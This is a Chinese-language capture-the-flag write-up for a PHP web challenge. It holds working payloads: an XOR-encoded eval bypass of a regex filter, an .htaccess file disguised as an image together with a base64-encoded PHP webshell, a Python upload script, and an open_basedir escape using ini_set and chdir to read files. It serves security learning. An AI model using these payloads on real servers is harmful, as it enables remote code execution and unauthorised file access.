function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}
$hhh = @$_GET['_'];
if (!$hhh){
highlight_file(__FILE__);
}
if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}
if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');
$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");
eval($hhh);
?>
看代码后半部分,主要绕过正则的过滤,用异或来绕过,payload可以由下面这脚本得到:
?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
/*
例:_GET => %a0%b8%ba%ab
${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
*/
$payload = ''; //payload
for($i=0;$i<strlen($argv[1]);$i++)
{
for($j=0;$j<255;$j++)
{
$k = chr($j)^chr(255); //dechex(255) = ff
if($k == $argv[1][$i])
$payload .= '%'.dechex($j);
}
}
echo $payload;
既然可以RCE,调用phpinfo()看看,恰巧搜索一下flag即可得到
.htaccess
配合php://filter
题目中还有一部分关于上传的代码,但是没给上传框给我们,看来是要用python进行文件上传
代码中一共有三个过滤要求:
1.要求文件名后缀不能有ph
字眼
2.上传的文件内容不能有字眼
3.通过exif_imagetype()
函数要求是图片型文件
exif_imagetype()
函数可以通过文件幻数绕过,这里我们可以在文件开头加上GIF89A
考虑到要利用连接一句话木马,必须得有PHP的环境,无非有两个选择:.user.ini
和 .htaccess
.user.ini是需要同目录下有php文件的,这个条件很苛刻,但也不排除没有这个可能,但这题是不可能的,所以尝试.htaccess
当
被过滤时,用伪协议绕过,上传时上传base64编码过的文件
.htaccess
文件:
将 .ppp后缀的文件当做PHP文件解析 ,使用php伪协议解码shell.php的字符,再加载到文件末尾
#define width 1337
#define height 1337
AddType application/x-httpd-php .ppp
php_value auto_append_file "php://filter/convert.base64-decode/resource=./shell.ppp"
shell.ppp
文件:
GIF89A12 #12是为了补足8个字节,满足base64编码的规则
PD9waHAgZXZhbCgkX1JFUVVFU1RbJ2NtZCddKTs/Pg==
3个传统字节可以由4个Base64字符来表示,原则上Base64字符的最小单位是四个字符一组
来自大佬的脚本:通过python上传文件,学到了
import requests
import base64
htaccess = b"""
#define width 1337
#define height 1337
AddType application/x-httpd-php .ppp
php_value auto_append_file "php://filter/convert.base64-decode/resource=./shell.ppp"
"""
shell = b"GIF89A12" + base64.b64encode(b"")
url = "http://c5fc0561-1461-4eef-a3ce-fd83d3b7f5be.node3.buuoj.cn/?_=${%86%86%86%86^%d9%c1%c3%d2}{%86}();&%86=get_the_flag"
files = {
'file':('.htaccess',htaccess,'image/png')}
data = {
"upload":"Submit"}
response = requests.post(url=url, data=data, files=files)
print(response.text)
files = {
'file':('shell.ppp',shell,'image/png')}
response = requests.post(url=url, data=data, files=files)
print(response.text)
得到上传文件的路径:
访问shell.ppp,但发现使用不到system函数,先连接蚁剑
先给出大致的Payload:其中chdir('..')
尽量多,确保到达根目录
ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('flag'));
open_basedir是php.ini中的一个配置选项,可用于将用户访问文件的活动范围限制在指定的区域。
报错显示没有权限访问别的目录
原来是设置了open_basedir
,此题仅允许访问:/tmp
和/var/www/html/
通过官方文档可以看到open_basedir
是可以在PHP脚本中被设置的,用ini_set() 即可设置:
其次也最为关键的是:open_basedir的设置范围不是随便的,它是“收紧”的,而不是拓宽的。意思你只能在open_basedir()
所限制的范围中选择更详细的范围来设置(也就是收紧、缩小范围)
在官方文档中有介绍这点:
任何一个目录其实都包含有.
和..
这俩目录:
通过ini_set('open_basedir','..');
的设置,就可全局允许访问..
这个目录,众所周知..
目录就是上一级目录,既然允许我们访问上一级那就通过chdir()
不断将可访问目录往上一级改,此题就改到根目录
print_r(scandir('.'));
查看当前目录
cmd=ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(scandir('.'));
echo(file_get_contents('THis_Is_tHe_F14g'));
输出文件内容
cmd=ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('THis_Is_tHe_F14g'));
1.绕过正则进行RCE,可以用异或的方式,一个比较好用的payload
${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
2..htaccess
文件还能这么编写,利用到伪协议的base64解码另外一个base64编码的恶意文件
#define width 1337
#define height 1337
AddType application/x-httpd-php .ppp
php_value auto_append_file "php://filter/convert.base64-decode/resource=./shell.ppp"
3.如何编写python进行文件上传
4.chdir()
绕过open_basedir
ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('flag'));